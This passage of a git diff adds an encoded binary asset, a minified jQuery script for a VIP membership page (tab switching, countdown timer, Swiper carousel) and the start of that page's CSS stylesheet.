zHDRsTRg9F~D?*~v^Y*Dgr3y*gBJ(~ex#1kysW*Ybqp{wRM)EC=PxIK!p8WIHVzE#n zdc5KMsCSS!)?zh4q&-Ll@Lpk!maKV--*ne%u3k3D03|Cv4zs%jI2UoI4=$dU%~ck)yoZd8{l#e_O{%~5NBw~iTh`kzo5Kpss;smBbN*QYz& zYJ_3id{tnP)4?=hcEZ%W?AL>m67&}@7gS8c1b~Dv$w2W4)rhp;)3OpoNAiia$i^ti zWAk}abedA7ixRvt=QA=Iua>Kxmo-naSYhi^AGa-|INoLz6)6ehF;CWpzI>UX3pmkc zraXxYinOz#dj=JZ^ao_WFqPkj~B{i^sRX$ml8e-l8M>`LiqC6O%2OsulW+{ z!4qtH&}3*tlqBuafDR;=rDhn0H-c9}l*>#z3z-akalxLbBXJ_XHZoa?O!Oa_1NGHL zSmatu%@fgq?HZT;b)Zh!gg4UZ7%B>%?$8vK>Os0Ai2^27#(XakRXtyCKd*f%x3}? z)0GyZ<3X1HyMkxw1I*5^C&vQRhzL-%Lgi{=^8vZ=AP6fiI2Q?IEEXD}QO1leh7O=5 zpq;`i1^hR}HY^uFJuOQnI{osWQb^qQ^W^}vv+^u8<;<)#vP3YA2vrj`R+;=V^mn=N ztnX?@z&-IRba6I>GB2M$?d&JH>izQoZ zV(`w26S$P1L-KV1@bt7x@FAh~bPe6;AQef9Qb=qGQ2-!Pra=q_vX^D8hD2!KN`qtb z!IHTES~b>KCK+8dc{^YpA)@N=OD~==Sd7l4xeaTN{(w-(I179y+fG5+Owl+TnN6u; zSFCmAWGCeskl z3@C*IQhZ^uSw#CUg>%dn?Z&m!Yr&ZTgtQbk(s;mdfHO~}&}I^Sb$o=AK)HfNrLaqR zAb7BjE_pV7N+wd0{$<4=`yLukD5I5JI*3;u1(AKR96>~)8kA0lF3DUQq!Aiv^S^77 zw!(L^ee9vsy(r8`ix3F!q$LrF>Ky$#X*-=D<%moX+orz=JykN1n7 zjtQMsB_9kaj&(8%*5(J?BSG+f6i&gDuiiTP@?(=_4 zMHfB{UdG^1!M+%#q0=#q+Y0+t|Fc?#46tV%SzK0S4qLTpI16NI2KIeFh*_kiSB+EF zbX_BT#3<4&^nbHkuwW|ZIB_}s31p^54?l?-)HC@`4yFc{x2DsD$XewQNz$sY0wP#g z5#N;((&jhBOV*tgc{+Hx3R0!)uXh(lMV6m`e-($NV^9-^6y~z$I?s=h^X)6oUl0gL zJtKbM<3Izj0PY70C5E>O9`lkgMx!fC*JDy&}^l&Cnns>TpI(U+GFD?$93Gl!0u+p**e+e!Po@(+O?hNkeg``KXGrTlfckp$& z96J(JA0eOD_=|!=k0s@(Xc#d)L;&fBlferLza5}t`{xOX%=_l{6J@ot2~o$NZ&3_q z4NeVeGyX^M(~sZmzPu`rH0zOOdQjsVDB!KbB|yyvx6z0TK&O#8s`Q7k(ceEhi>*{(;-1&Hl0r zlL!9Ybs-?5z3dPXkpAw}UWx!jBp@ygG9EsNQ=EX7gG*J-*g2k%NDQK35{L4N+a)jo z_N|*o!pt@A>n5H0)H~Cln)9BQT^s7lRuAqi+|E0P9pOhzsZ;gN$-e)1jHO83LBOM~Mze;}1bsOB*mY$LzjZtG_x9MbBh*je(j#Nm@DsAqjCa`u#Kj}yFZi{>Yt5~H zq&{r(FjN}S_Ca(zw+L#V9M z5a&&CPccCf&Jx?HYUJmn6qOF>HQg1vR^*}Hn#k%MuY=aoP{dk<$x?vWPkt>LUAkz3 zuU5B6^-^x?Bm0^pS|C*QC{(ewgi<=X8HRz+_9ELe_FkT&^c|(FOJ-%>%x1ikapV<5 zI~XZkEBfG00ODbo3Yj%4js~3Fr4U*p*=@ZpTW7P zimR?+Hy5}oC8C>(LW~S6eb@k^n;Akn>JqU$Hkaacrn3h!B{b%F63Xrvm zyHDbgLfxKBnp1>%s{B$I5yOVfa=fL=`xr0!z(Qq1u0M#OC^Z4l?oV#sBhm^w`)xW> zL-h;@6KQ=l-HC~Q9NxM4sqT=`0Nv(cw(!K`^pmTO_3qS}ShbW&ZTca#ayc8{l=UiM zmhjg-qBjVL(^oTW!qc@uvFpjXll%M+G}`=XNpUI?hx}z)b5u_1EhFcB1!{86-hBGo z?lO%`Q$F!}>q(nKg|&1V2iGa^69Oe`ug|-Ng*-bqV+5Jk|04NWc>hF_F^tAYuV
98UwZ8@Fi(+Ozi; z=4|qz?U~>Dq!uZYOT^K@!lCB{gm|?b>w~by{A~0?x(wS>OND}t(zkD<8CS+LUmt!& zvW{jIeP=ICqW!MuJX}D&WQ*?bM1Wy!a#-LDf=!Wb^CziwPO^T_Er}32PwdNJ{A+xB z0{aQ-tRSvvF&V_GCXVU!N%dvvX8-T{38(vXS)MTDBV@QB@hrpyg)17v4Rh@^EY6+# z6d!lp_z6~*O0J3sgQ|w*`kws9HCIP7vu*JfHNttioalLhc6>RvyAlR!-=&nq`{8yu zzCsUcyx~Oo?^0jAlt2M4CS$AF_xxHMljPe?XJQEGKUX)06CEqcTIdT_lFhi*&jt`3 zYVvo#NcJwdXH*RBUJIQ$5zU$xQD-@Kv(&IRQ4Idz&K}$g_zstKBQ1g~fOu9T_=6*# zwcesauqb!no?km5dUfQ>Rp~Lhm@^XkBFs&GQ0QR~@i3cnKTJmg3t5*K@wiUXYmHK* z@X0&i(T?cnjCM_wXL+kdJ{V`T=?u}3)Z#>i8H!`3r^fU}zO|?D6wy`HK}9iqHyBmq zeWwU!Zp)#La(OO@hR)&?NZXQ<8OzEsov4wEZ56|)AsV^S%E4TZW8&FmI#m1AcNWka z?`oG@abTYBRw7`wG&9CGp>3qy!j*MAL{RT9>On{7tj2pKi7lzdrCo_FH0}}_5>h0P zCE=qWT$HN&=$=4ckxOwXujxiTx+wO(085IIOZz;pnGrAlRIZ`-YUz(-VUpHK%SEtn zMma_90LNqM0Gv54X^r5TxnU>^UrOSWBPnFdj%XpPMW6LLDL|62Z3yVymkGaA#52Pt zI9(ecN!d;)O4;&5i^WF2@O`67mIL{$9nsFK^kvJoOrGRAp52+#jf?Nl3Q$Ozmt@fH zwY$mv5W|}ht7vN*#o)uE9+qKGSM%7x>m>gkWXvo}S#{Y%y3(ampZx1p=JMmUOp{lG z1R0%XPxbzz^6Ebeuzvj-l0DdPP?>$#)`@6$vAVLzfjZ=Mo_T-*t=r>&29O{sPUl;~ zO;>Zb9L$=ONO)&m77IzWtPH$Nwi)M`uYiG{WGgUB$!{fZl!Uu?-tR9X7n^t8i_hNm zOu^f}@eFD_EWGZjX*qQp)}<&<5XycB|ERbFl0K_jPsE*)%^{9~ zBi4<3aKF1$RK`*4Z0gg#aSCj++R96O{`ik)X2MaW5vxa=W&sJ0O)k6Q0kZ;Z>WnJY z64;+Awe*5M4DDCzCSVzIZ12rUZakg`S{#!qTwj*hc}F}r{Vda2_iv`{whAN^I>Ixm z>BeyV>SDZ*mFm`Zc&7HHHUOfLPjLm_;=?5vEmZ6-{jzZ@eT3OIaxh^$37bv`l$DQU zQgcMH;#5!gfnSz#?NQV+g^)lQD+*ybL6J=Q&P~rPH2jJD&##@}LrVSm zS;i0K#9y3uBXaZ0xHbAmH%57abIMUF=A5k@5Xc2@DaEATTQw0`MNB$O}G zlUuf}RHRnz=Ic3d%p-64Ons@>TPD&|onzQQxjdsk;pD(fU;G(h_m4l1%5r}KvbeOW zvXx15ySUb4PQf=rZ#oZfcZRF#Uogk8L4B+4-o3f6WlPC{9ttZ_WY|h8q8}CKO!wr5 zBqbC}XIU=#H$Ty8Z*uh*k`u(*mDV*{kHZRpu8zc1l8t(1dpw8n-f9k!KDnjb_a`*_ zTAw8C32C);xG50K?>=L2RR9!t_T<+cyJ4>CExRYWrot=b-7>%(d0n33D9ILfR{}qrkuHdWbuYQ- z;?-I3u?YiFaq9DGPtK;MVJnx&+7tJ^|L(t&)hGUcmHrapYO^CxuI)8&%hKF|#hPn@ z1^fQz>+6XD?nG%)m5>7>Ab$po8BIoP&HS&2FRIMt__?B8WBcOX4Tqk9zc#otuMIuS zysAYTU$oH`yVOL@;Jt@cm$?UVeX^Bi?haeP*);l=PpmI5@v`)Z1&opBzI%XWCuvlB z^4-_3`FNE*c;0l5z7YR^5zm`vz~ACuE|l3MEmc6uOaG~2k#2crtYJdiWaKOJ`e?ko zsQXg<*{%|Ekk|f$WV8C~^eu*&Bg{GDyh)5(MWv{?!^Zi5#E@N!s1{mBhMyL)x|(&$ znwC9;@vc<)TR7gvpA)wIOETvsL;CVF+oHTlEl#PkUObhsif)96YQJ&;1~R8Z6Ok%z z27S&v^u|^4eCz59v!z!jVurVDKL0e#-fN^_dO=&us$y3LiCQbcs9INKH%xZ!KD`<> zpFgkY>-vJ}xK+XY8I-vHv56V$0L=O&*uQ7>tEaBrmzl8m`LOI|-<2nUU5m5?qmEzo ze$K*t%}b#Qf~zQEf%do+tg;;;7uBe14yvs=DpS`$l%rrq?P-naia}XEyU)d*LiP

2NS$nK20lfK^IJHQu2U3i9KexRGA6kuH%S{s{8DRIYkl5De zkHFN_O51zKU(I!~E+9-wGqz0GCH8&AE4CYLED`#>C16%m&%cc;D9lDrF`6na*a#rt zn3k8#oN({ToIT^0#!S2^d@w=$ne$glCspDsV7Vtqy^eybmdkDgR7o(OA2@;AYxY=C zMe>D|@x=Z^pVJb%o#Pqe3$e8wcojBuuWP_b!Kb{uauHFkSlvv!!Vc3OCW|j;Rg|e) z*4?ys7NeGV6)yYnMT}5;$(6Q_mm`!}r&6whNJV2r9m9PuJ|n?t96HsT-~O$t4YxO6 z`q9+z18vQnVYVuyCmsL@4tymLSlfUrOp_SG;9M5)3~-WuxzL#JIG4tWzZv*T{;l*6 zfs`ix#F!HZzE-^8PW;TMQD$ygUIAgS*kz=cezWsPnd;(f$8#Se@(b66jdZw0z$d(+ z_BIId;U6Lb1D%vV{`f-u4~b!t`RMxg!>eIDs?~*c)L$Xtjoi0+jO+OL<1M^F?NZ$q zih?XXS?;%!!Nr(6a8xQq_aFa?^E?9_EYA?38~B98dUAopt5|i1`CsD|Qwmq)Y8_P6 zx&l>;?*CEDvt1U>?Roi5p&_i0XvP*@Mw3wNgoJr6vecn)+=U;e`Z}@h_F70@dYuf` ze8A}U#lCj6X_|LId4QN7yz#~yq1}XmD=4-98SpmS8%XQV%up!qpf5ysb=KQ5W%W~v za}YMmtik182t>vL_l6~U*t7jAv>ms4Gb_^acD&@7dF)ojt6pJlG`sB&4t_9R=a58 zA|TWpi?DemRvj@==BiUJjyuk32*)2h_AQ;N8L#FP*N@3*UPH0v6uw=Rvx*+{yfXhv z(#7!^f{aVfN-_W!VglrdSh5=6_`7xqks6WWG_@BxtktoX6Gg*iPq?;hkV}m5S;I67 z-nhn(RGua76=YYiJ>Xuw8-4~vm_X!o_vux#C$pT6TXCXt%rU5bIfmDGC*GcNzsYMR z&No}XlQpASfsN+G8FGtK4p0s?N>7gFKN`C!483K(YVI`o&cLx|bR0PNMbEgUdkG1OvZj7zC-Z#sG94EhX6cSHWb5*VTfaG=lj4-zK zJ@s{Umrfb|bax5r4urGFoV_7;LNL?L+!cqbMlfQ`*DhV>K)fFcKpof(zjK+vW^6Ml?iii0aIn&GGjGP8F z>4lSlZh%Z~E>~d)Nm=fyTt!R1qxssung!APhNR!hlX*jCgF}#dNH@>q1@c z5-%i2m0g}*w8GiMl}5_z2mZiGci+bEh@7I)84D;gw};dIMugGOGhl`Ip>x)x$v&j* zPOyr}w>s@l;u%UC#75u4hXG%d&7=6s1*&_|o9M2OF|-|?jKbdp>a|#$Q?v!Ec=9u< zwlVT_=ZyMjjD}D$^fKaeou|uBFYx!%?CVBHn(9`|Xa2;@Gw-P5F{goP z*1n$s$Gmlw^8|kyI=we;R!wr79Uo?Mju1x@6Ucsk=1n?Qqgy*r*d!1 zt&XsOa)heztKFjm8S#kG!Ra1^!_zL~MBOl5_cc3Lcys*a->DWGNGy>X6>G~1kRA#p zZE@?pgbs6Q>_&hUl_vI5>8UQNYH<@rkxGM^mD-xXnPl?N@CBm`lD$ zsgi+J)fo9RppTm-k~5=zLR-Sq4Z25fUZ9sUfz;3NBMwR`*Y*6TWo1H&U+|#>|*1<%_rED(m(&B$@X}bTWoZDBx3=o>P+rP7>ZjAJEOG)onc^{lTS~EhoF3c zUsv`t#aTVfOKeFOd-HyIv=#Bi7EtxX9j0B3`KA2>isofIC+Cy3L8W7o{6&0xxUbbG zk?t)c;%RP(bPhlPwVPIgQmgcIdB={j$OUQ!H4SZ%B9~|_rC4U_gTz|u*KAVuE5`~ zE!_+Q?ZLw!O>-!9pB=0#A{e<5-fe++Fuv z&NBc)$MyRm$BbZh1ODAW+7+@&!S2QNQA|SeM&`(YXY5-a^o}{y5fn1d*ESBd9yUd5 zW2X}$O?{l0uTn_DK!M=|i|CL_ehK`OEM<%s1-`=7`Q`4@fK+(4fYcVY0MOFV`{r?Y zZ+v`SVybqm3w3;QDKuv0v^_Vx;#m+b(0=U+m)E z*yDb9(h$3q!ob~{CwCBuQuqm?F{#XY&kD+r!?&@Y+e^ngR@-?Ud`7Is(I^>xd~!I} zM4yP+-Z*0loU0zuqrbWUZq06ga<}+ZU|_dqF-kj@iabcPfwoZA2;86)05rO1a76JL zk<;kL{E(h zm9m#OU^@jiuDd+kYJ41pGy5*!X*9$To9>;3w$1E43U;0^N|VaVqG@OJ0o}Sh1L!Te z8k*C?OJ<_wWJiYi$juufgleVTs90~Mq%jXOXTlv|cu{JK2b}NYQ_>0rRdv|BTAPNh z>(4&7CYd)UGsLp#mVkU4U0O#`U#@1DfG;s{@Nfu-e?#d038I4o;J)0*09B2h1LIz9 zV5ZJDX)ZYa|z)6-q&{)r{N*YF({k{g*=>@pb1&p2Jw8zonl7$`qrrJ|ke4mN6 ztIVuARIl8KCf&D?-$@85HAJw<;1D0=G}ewDroT=P9hVfJIi=VoR#Jye?#*K#?295H zH4)k+1Iv;=BjPL94VZE2o`YdGA&R^1HBpq@ z+(!6{_#Q%+ZvjEpH>qo5(Sa-(yiGXj3(Gbnjcweh7DN53d#JjTGY2f8{An6WYM!Y2 zT;F)@LkbHnM&QuCI%SZ*u4O3`SztOpv35a()fLy1A;L>?+7@xNoij zFFoZu3nD{wkDVQw*-}N9cXr2&N`L!issx`B+nxYqJuFAojJa(%&n2M=a*z~RW=GG< z{zVH_kvwE7lwcebm9k^*3|G;VJi*T&7tAtx22Yq!x032jToGe;@U zs>4q_GT0@!^*NbCOg6ub`6rlxFE}tM=m$#MT~?#fJJV#4v~IzxgL5APM3%BN*dlqyhUp%Y%Xi880tBRsuYV(?fWp= zhp)c|Bo3)>iJjc3B^g({S8VA&bWr0b+l3l1zy*gindWw3*40MQu#e(MU<|>T+ckYC z`4ccZ?hVx&R3ajm>(@KuW4BJ!lBi? z2#0cOgYcTu_BBs|egZP4Lr3@}o}bQm!_Py6(0(Ik_a+>Ku@PW(EgydL3}fR`EL_US z92bW@JZ-|2WR4KgQI$nl5y0&$WV*g~%JoW|T?dg7f|Fx(3C54h!cBs~ByoguZ}6RGrWH z&wyik=xE5MaUJ1@I^=~ql22OnIk&rLN<0d%!7XOHKx`S+a)oZ74{3wL>MYHJQ|$MI zd1Bis;qXX{MKb$YUQJ9rCi2i3l@$b+N?(DH{#WR;+kNcGNSGoVq4K4WT?dl(D~xd7 z$zIlWMSILO4PK|fsW$dOuCQpa)=M1VOqyeJJjvw|eC3dD)Q{}FGG@iDHTjUEpvD>M zVgioy9%3q#=}Rp6cMG)S^;j4NZwKHeeqZm8mOle>v{F<)y|-^NPF^o;$Q*$BgcIoJDxUTn&?wdY$7yhO(_pfR*e0w%e&OY!AIHm4= z2CTmCjYcYPGuV9X_<=3)2s{{(MJ0&%?vCMFY$GoWqA7|}-u*IiHK_3(A<>XA7{Tb*nY5}#_!yMT4HI5(j zP%lKlK-29=9)-@sKXKlw%&4#tgBL8DxVcsDYc4;4@~XqwVC9OeHNFgccpcRoqYCEo zGYk^jx2R?jYS8tACw$T*?dD$2<{T}v8p^~2--C|#oy3#ntF*+Uekcdt9~LV+tubcBY-Q-Cyt9^65TKdfB4R1Q?M|rLX|mWSCLa)Q{_To!2G>~ z)2IXEYsn+WWwKS(^gn$PXa9zE;)#<%`PlLluiaYp+HjUcxAgi8edGmlhjQ}(HqF#J zCQ;>WV3>(1SViF((B^?EH)K+H8k!cLzOj)1S1-`dBz1M7oJ$*f*saUh__gQs(lg+@ z3xSV`MQ+cUX1NeJ1R*yJ78RC6st)ug50DQa2rGpaxMI4gzN|<^F}B|4_H>kX205#I z(;t-(k;2KyD(t!EhJ0s#os@l)v23c=ZgX&Jdx44~{@TiawzJqZ+gvz8XAUd@Od}Kc zA(q+Z!4nG~J119HX&mXF#vb_$Fft*Nb!uq%+8c3NS2BRYLTXaXX6iGVORfL5>H;0L zdY#1Wiu(rVu#2w;pduZ#9Q~w{yYF#udNI?oD#ApYZt%p!K=Z^8$WURNv%w@m7lQQk z)?uv}gka2WJTSsb`i<7_cuK&06ph0YF3G()54`R|9Y{Z62$ z1$cmnr;$Fw8!o`EwNS*72)Y>KrG-a9Ed;BUa3iob>@=HnyT_ivx6xhnUFZ@}@N{#S z5Yrj9dv@prZy1^KDDopnB~vgIQOgli*o{#b{>H~P$Fq~(A17BQyF9zRl%MC)2=ndA49rgCLT|yBiM|? z_QI^!Z4OaBMmd_}$oIYZA^5rgtf`-LU*Ri`8kxD8-z^eQEL`|wb=;UQi#o(_(`^>C zQuHB1bm2bxlAR*}c!~I>#HfD%^ocfh`NS(Mb#98oVF$0ru)1hXJgo^>niGOR*SJ)_ z|MvK+8-y(T^IF~a?OzEDnhjiw? zfDLQ`;h+%S5?>1+F4=WcN@z2N6ji#631pF9Q_tEGN6)VC^r0ty>FV1G1N81cDMQC) zwd}4!5hf$a0z;DUU?Xb@e^5xKz~8ty?WQA4eju<}(t(lpL%97OuI8qYLiy&#$Kd-(@ z+Pv<0XS|_OmT6h|nvKmP#M6+jE1#18cys~_!FcCw0+vK7gUiw6GoaXFN1Z8EZ${;M z_8RnAB0bncp>RYAunQ!YYjB@^;LS`CdvR&%x5Lg~`khNh$3k4p=BXA9F(na{>z3_)s1`@~ z!o9D5M1(mQZGSNO%8~av{ZaW8|NV%2l;&{fpexbUO_P2RHzD)5arDLX6N`;cg&!Nx zuB6pDTh||rZQ&AGdFgD1Jn)M=58mY2K=3yTNO`C3+a`tJ9Jj)bLt?p}8_!V32>p6e zmkFz?-`%6UtVQroh7AOAu`BPu98?|Vo95g7es$ry6#ea@mBiMgSbnb;p5j;REnl_& zD&7ZzR^kcaGT$&idb%hn*YSb&kx2ahrY|TEt}(^T=^e% zxfpwE?{UfHoL20LvU;%z^nDa>*4PQOhxut035M~17YoE*jV;F9yx>oDwWD$P0Xfhz z7(cJL;E#ZEOPvDw94vD6#w;q*<`njWh%+L2$y@#Ipgrt*H9t&S*$j&$z0WRCD2ZS_ zI1N8el}3?AIM>xB8Ou2vJoh&FF;`jFV_Mb!r3N5Re ztUeV12bLn+Ao6Y>QEu*lv!T>jmHd?N1AS5^^?Ta{se*a?YF+{am;W8{u9KSYa!^>H zS`rZJfGq6D(#o(cpzJE3DT7j0Zzri(bZxcyF)Smrx$w@w7+nm*q$A*I+L@SGk8wrS)1x5qB--7)EoqeR{Oz z8Ik;}wTiPj+~pC>JZSQ`;=4&)sqMtMmh!fG#$`x1Q2MkGQwbDZONl5T=PK+Q7B{&!+n?L|-;Bh=*ImyA$o$h~>k^aH(g+6F7P2f*R zcNyCnx(#_^Zwtggqi*|&FQ-RavssAG{Ybb|h4icP%=suhXIIH4Yd_GUWk}+1ak@u) zyFVqe`E0{3*x9L@9oIgMZFAKU*eAH9-DHCKGRHwb2G>wl63aXT8W-Y6+96Jt0+pdQ z?}7XH@@gd(#83en4@l*QK(lDd%*%DsqXz@y8Mn`SK&DZSEsBj1Z2N7esk(RlM>$%e zG52j_;g9PU8FL3VH#gz7q0?_qu4T0LyxWb^hn^ZSH@0p=sek?ni>5wudI^ksnXwx- z-YyH6$xsljKTyJ3+n^8|RIj|p52(ES7WHy+coRT4k|he$6p_PkS2VA$aLiF|a=qKQ z3O_WQ)?IYKVP#AT=eubB;6N1J17!(H$Jj+-LU;z0|M=~n&ogIu!AW!s6rSr7(uuMXXpfKCW0g#H?1;!G> zH=b~QUZ)lVdJQgKR5{`xV}A6Va1eSS!f5^iek&r|rh4Q$KDWwD5X?zs%vqohjBWt> zNaMi}ySrOSEdMg7q+n=}a|MP?z3QJJjV`am^es=L&{eRraF2xznUe+^I%y>%NvODd zAG;ZL-!#SQT+hLWB$dHg5R(B~$m;84iV$!r4p)Mn(lM|#REhC}!kB~-dg%A*q*|PB zYGaH+Lw~-n*5{EIh>p+);r=w9K^kM*RB3YB#p^*~lM(;SB#;%m#}&5wZSsPx5F<4# z`Tfy4N#-5K*f<^`D|RZIwI_OLZ#YLXP|yW}X)NA%94?s1&-*1j(w#%EkEf>5;Jj~d z(!jwfw#3S<+f}|vgN;Hkq&jdU9%zb=&1fb#3TrNR6Ok_o+65IPwcLg=z6rW?4GEQ( zD8xwD?}0gOj?#x<>%|6>s5lFQ#?7(DOkrF43dEdPEENlFoLq>NVNO>*-c6)FWgf7r zrR&!v!aDbFcVK)c~8shJ%e7y=@nj~(X%`643FR{=&c^9 zA)*KwvfHxCk&G(B*! zPW*GURn0l`z6m{JsS_hY%_21A#1sBzEXk>Dbp8U{NJvi)`x5{Ca7nVy(lZ6&PQ1bG7=v3;(qz1Cchotw8!A{9G@7@@6iuBOz8 z_mb1))>@#p!<*oHKcuu;p5;@>@5-=thFk8LPl*kis~7Iagd0YO)4 z)MB1c(h;9RjH80Rc3okKuHu6GZt_#En|63KMKTcxk^?6mq0(;RYG!I{0 zif(S)7B(SOQEbp++Iol=y#*)BR<9~iR3bNmLG5H?x|fWF2ej>Dv-uk&XWRoXhOdGrA&F(&mZ2^5=f+_DjHdMzY)@N z8?{@jrDP|l?jxz>7)5MVm~o=GROfG(qu;_lBqb5346FstgPqC;R92_dJ0;@D9QSfn zV!hH^7a*nuTgfEBgaf1jDc0!@2-!9kw5vC54r-MEBT_hAA zuF&ytxHY}^72Mj?dVwZQy&QNa+=^YUV+!lnOeqn<#b!oZEy$x1S|vTTq!O-@N{`qw z)}7gb5b<4`GkvrhCj{(q%bl5<=8qD;LVx?K?J^ep(fIy>IpB77B+;w$=4$iEwQX5R z%grFWTsLcb)ZFG*cUj15uEY1<&f*-sM0&45V6#lI9d}Iqd$+nOvJ5rx>Gk2_|EE`k9QSqvCsX7yO;+unOJa0*&cBhOKw3iiQ59i#u4#NKst`Q_+Q&=0 zBVatIs>RDXN#zZfR+G!z9MX{LD*B3$Lc3XY*F<#n@af+hEC9S)O~ujf_B(Iez@EIq8!2dcI?u-bPn5Ws2uA zDgUFt+7nK;e9iidPz;M{M^S5P{aREZv48_Oy6e|R2t|kglX1>Nu@-6HWjId6`cnT} zyy+>QiLS#oM$Nhf30_yd)6Z+8PFG`YY>hl`K6JF+t>X1-hXse+i;NBBZw6<>L{^eRS%V+wl+mcsS&F-sg@c=LlP^f9gd0>^y@)U zZJg=|LD5pHMxB<{Ds}2;H9GjxbG~ujabNGR=X$UAy6zwE^E~%Gsyy}I;KF#<;@CNS zFHo0qYf@F?b6$>|?siNy?4;IlN%OM>Wvc))-Vj~Q>IBR zJo#U|{EpvaP3uq<_)4>gX-ZxDHhcccVj8DrfB9+)jkZe1IKvlxM)Hz^=eh&!oI@5! z0=BjtZkLd#V_EUbOA1OD*({guPFZ2bBrQ4n6Ig0zgmz@@0|U6~od@eZdj3wx2D`F) zLV)GI3M$F*H$IQT2Sb(pZ8)W3#7gu9D-?NVm9F&?{>y42m`PPOs)~jvTlhIG8V=nR zL%!s*5)0smM!|@hw{>O&G)9@;v@tCH4zpRGzZgk3X;alI^G~we87v?V;_}}{>jp1sQ2RQDROET7vivxXqi)SmRaZHwFFqP z@2L+7dI_@M^DxG1t^=jho1e@tP!0hShk)`9Zn}i!J-#vM>774!`FZPZj%(Mqj(w)1 zf2k+7n|1N0k+y4q>7SkdJW0HDL^d53Ri;ogKmOXM5A*a6f9wwEXdkM_2+nvN$#-?P6BKJ?uHdYeRkDev@7a13NdY3a2#By$5RblOr4l^|vU0I_w6# z*+c4jRJ=l}4DNZ<9w*mUEM@IV|r+#e@ zf3Ht2aB$5ji|O^aw&>%C*08y-Gcx^!Dt=`$L;0E<%`>VXK2_fh5ghAd-Nfn-%H`M{ z0utY$rMIn&_tZi>mhwxVFVs&+ln_!iTj|8rlLV&?+s2-0%A*GM=Stpq!}w+aFW>os ztL-XM4uwNK;+ucl`(@$eZAPfO}{Lh0~GxyO#F2|Dal=EM{~ zY^)ak=#<)s3kndJyJLD8D2LF=@pCjayZTJ(<48ylwCJqds)xL^UCK=G$iJ>sR>Dl0 z&|%?x;I;8m|D)hw20h(~&8h4miqK@(2940F6Kg_A!JP;(2YBwTj_AaPa^JX71bupT zG_7`Imp7{Z;jWI|g5O+c@7%%Q?~O5A-5Kyc0PAw#@BEq%=r@%Ie}oLVy~+nXD(>B7 z=W;xNQ6he+Y%642QbDvtgF`7Y@7KHaX63ZUXJ*_PM*HNZOOgPl=G*hr2Q{60&!oA< zdIL$Wa1z7^ILZyJYN@}tEBrn#J9$fiJVXa za>jFeZ5$N@3pIg|=;N-k8K{Pw_pZWT_Tec83;tGsk9^}|$?k=`G+&bnpT`N>)r$Kj zC560g!uSNxOGd)opAB!Pk#fK3`d-9_i@DB%TPmZzk-FvQstKq&M(f=9K!{G)x@3IBp_^Q#jX0t%)IRoQ!Y|`vs}#&8xnhG@B^9+I*B4t(QqJs1 z3rF{JrY55gOup1Fr+Tk=i>o>*-Yzaa_}(CCHlkLT=x3jz6w{QdP%VlZ(2iXFoOtPp zF*?|^*4}Zm0L3tJGfzl78OVfx#I2*)guu{cP2Mh*8by0)8UD!nQAO6lN+k1i7mZ9!r#|Uz&|cb1NtABXsk}%n{>Dw;b?J(kZBp|? z)e3qJ0Xog=N!Y6UDXm_oOE1gwzZIN8M{962Vg@*_)&CS1^)E*ASmzS5|=vzvdqpr-hnCkE5+g2qVPz**UK4Ra=77M2ObSypooGM?T|UF~7EMff0GVW^Rpowh$17&t{DLs#(#? zm{5$WcM8i2?Iy$pDtS9&*7?uC{43bbbr{>6N|;cdyL+`^wipy1Awrg{)0el+x`&6V zFL4#kzK{8QmSFca%rhzD`7+pSUhwFU=70|4pHPk7^BqX-w#$(sz{7-ah#LBgwg)^b<=V4Ta^l55Yh06&uFT4roMYAv4eZ2}) zPvySJI)9!|IM?UM>70ly&t<($tw;Key}|OJDQw?Xrn(HWSMrVI=CQk^>17NUBp*N_ z$~nyf1}1;8WoH*e;s4wL13W@OL-Nc&5)xQq{Nw4GF=tbJHZFsEraV>R*N z6G8e}#D=&HF-kmEgvA9>F|E@rw%AO29?_$}sxd1L#_trKCUyz-JA$Ou;4P=X5UkB0 zN6VC)1y~>aiW8PoX>=D){b~LdiHNd#AL%EtT)MX-RH1pLtVAsvCHQ z$W=V{WC-5Swhx~OSY{eSl?roYvk?c|8{7uhU$l#x9Y882R=#>7dCFlT=r;nm-`p$i zl5Bv)W#?>n8v}{-eJUhP_E^%2aNf(-5WS#{@-I(|)hf?^%2t&qc)Fws`)W|UoWWM$ zfk3RZ9=ehs$BS{gQi8BRO_Uj+=k_gGAt3m6v04?t$J+r52cbeyK+l29lPiEW4RE3* X61?6<`r@cFww%s#q-Z&N9?tz6Cp`mM literal 0 HcmV?d00001 diff --git a/module/Member/Asset/script/memberVip.js b/module/Member/Asset/script/memberVip.js new file mode 100644 index 00000000..5343d8ef --- /dev/null +++ b/module/Member/Asset/script/memberVip.js @@ -0,0 +1 @@ +$(function(){var t=$(".vip-list-container"),i=$(".pb-member-vip .vip-list .item"),e=$(".vip-content-list .item");i.on("click",function(){var a=$(this).attr("data-vip-id"),t=i.index($(this));e.hide().eq(t).show(),$("[data-vip-info]").find("[data-vip-value]").html("-"),$("[data-vip-info]").show(),i.removeClass("active"),$(this).addClass("active"),$("[name=vipId]").val($(this).attr("data-vip-id")),$("[data-vip-right-list] [data-vip-right]").hide().filter(function(t,i){return 0<=$(i).attr("data-vip-right").split(",").indexOf(a)}).show()}),t.find(".nav").on("click",function(){var t=i.index(i.filter(".active"));$(this).hasClass("left")?t--:t++;t=Math.max(0,Math.min(t,i.length-1)),t=i.eq(t).click();try{t.get(0).scrollIntoView({behavior:"smooth",block:"nearest",inline:"start"})}catch(t){}return!1}),$(i.get(0)).click();var n=(new Date).getTime()+1e3*window.__data.countDownSeconds,o=$("[data-count-down]");setInterval(function(){var t,i,a,e=n-(new Date).getTime();e<=0?o.html("00:00:00.0"):(t=Math.floor(e/1e3/60/60),i=Math.floor(e/1e3/60%60),a=Math.floor(e/1e3%60),e=Math.floor(e%1e3/100),o.html((t<10?"0"+t:t)+":"+(i<10?"0"+i:i)+":"+(a<10?"0"+a:a)+"."+(e<10?"0"+e:e)))},100);new Swiper("[data-vip-open-list]",{direction:"vertical",slidesPerView:5,rewind:!0,loop:!0,autoplay:{delay:2e3}})}); \ No newline at end of file diff --git a/module/Member/Asset/style/member.css b/module/Member/Asset/style/member.css new file mode 100644 index 00000000..30a40eda --- /dev/null +++ b/module/Member/Asset/style/member.css @@ -0,0 +1 @@ +.pb-page-member-vip{background-color:#ffca92;border-radius:.5rem;padding:1rem;position:relative}.pb-page-member-vip .vip-button{background:linear-gradient(152.86deg,#03010a 12.8%,#010007 86.46%);color:#ffca92;display:inline-block;line-height:1rem;padding:.1rem .5rem;border-radius:1rem;font-weight:700;border:none;cursor:pointer}.pb-page-member-vip .vip-button:hover{background:linear-gradient(152.86deg,#010007 86.46%,#03010a 86.46%)}.pb-page-member-vip 